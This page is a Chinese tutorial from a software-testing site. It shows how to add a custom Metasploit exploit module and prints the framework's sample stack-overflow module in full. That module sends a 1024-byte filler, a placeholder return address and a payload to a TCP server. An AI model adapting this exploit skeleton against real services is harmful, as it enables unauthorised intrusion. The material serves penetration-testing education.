使用metasploit进行栈溢出攻击

发表于:2018-6-26 11:03

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:baizx    来源:博客园

  metasploit本身功能非常强大,这里不多做介绍。
  首先我们需要添加一个针对这个漏洞的exploit模块,
  我们直接在样例上进行修改:
  root@bt:~/.msf4/modules# mkdir exploits
  root@bt:~/.msf4/modules# cd exploits
  root@bt:~/.msf4/modules/exploits# mkdir linux
  root@bt:~/.msf4/modules/exploits/linux# cp /pentest/exploits/framework/documentation/samples/modules/exploits/sample.rb  myvictim.rb
  root@bt:~/.msf4/modules/exploits/linux# ls
  myvictim.rb  myvictimserver.rb  proftp_sreplace.rb
  然后查看myvictim.rb
  ##
  # $Id: sample.rb 9212 2010-05-03 17:13:09Z jduck $
  ##
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  require 'msf/core'
  module Msf
  ###
  #
  # This exploit sample shows how an exploit module could be written to exploit
  # a bug in an arbitrary TCP server.
  #
  ###
  class Exploits::Sample < Msf::Exploit::Remote
  #
  # This exploit affects TCP servers, so we use the TCP client mixin.
  #
  include Exploit::Remote::Tcp
  def initialize(info = {})
  super(update_info(info,
  'Name'           => 'Sample exploit',
  'Description'    => %q{
  This exploit module illustrates how a vu
  lnerability could be exploited
  in an TCP server that has a parsing bug.
  },
  'Author'         => 'skape',
  'Version'        => '$Revision: 9212 $',
  'References'     =>
  [
  ],
  'Payload'        =>
  {
  'Space'    => 1000,
  'BadChars' => "\x00",
  },
  'Targets'        =>
  [
  # Target 0: Windows All
  [
  'Windows Universal',
  {
  'Platform' => 'win',
  'Ret'      => 0x41424344
  }
  ],
  ],
  'DefaultTarget' => 0))
  end
  #
  # The sample exploit just indicates that the remote host is always
  # vulnerable.
  #
  def check
  return Exploit::CheckCode::Vulnerable
  end
  #
  # The exploit method connects to the remote service and sends 1024 A's
  # followed by the fake return address and then the payload.
  #
  def exploit
  connect
  print_status("Sending #{payload.encoded.length} byte payload..."
  )
  # Build the buffer for transmission
  buf  = "A" * 1024
  buf += [ target.ret ].pack('V')
  buf += payload.encoded
  # Send it off
  sock.put(buf)
  sock.get
  handler
  end
  end
  end

上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。
21/212>
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号